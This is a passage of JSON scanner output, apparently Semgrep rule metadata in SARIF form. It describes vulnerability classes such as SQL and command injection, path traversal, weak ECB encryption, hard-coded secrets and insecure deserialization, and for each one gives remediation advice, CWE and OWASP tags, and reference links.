Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask.sqlalchemy-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","id":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","name":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook OAuth detected"},"help":{"markdown":"Facebook OAuth detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook OAuth detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","id":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","name":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"help":{"markdown":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n - [https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0](https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0)\n","text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","id":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","name":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","id":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","name":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request)\n - [https://github.com/parnurzeal/gorequest](https://github.com/parnurzeal/gorequest)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","id":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","name":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","id":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","name":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a HTML string may result in XSS"},"help":{"markdown":"User controlled data in a HTML string may result in XSS\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"User controlled data in a HTML string may result in XSS"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat","id":"javascript.browser.security.raw-html-concat.raw-html-concat","name":"javascript.browser.security.raw-html-concat.raw-html-concat","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.raw-html-concat.raw-html-concat"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask","id":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","name":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-json-flask.tainted-json-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"abi.encodePacked hash collision with variable length arguments in $F()"},"help":{"markdown":"abi.encodePacked hash collision with variable length arguments in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision)\n - [https://swcregistry.io/docs/SWC-133](https://swcregistry.io/docs/SWC-133)\n","text":"abi.encodePacked hash collision with variable length arguments in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision","id":"solidity.security.encode-packed-collision.encode-packed-collision","name":"solidity.security.encode-packed-collision.encode-packed-collision","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.encode-packed-collision.encode-packed-collision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false","id":"csharp.lang.audit.cookies.httponly-false.httponly-false","name":"csharp.lang.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","id":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","name":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"help":{"markdown":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor)\n - [https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability](https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability)\n","text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"helpUri":"https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","id":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","name":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","id":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","name":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","id":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","name":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection)\n - 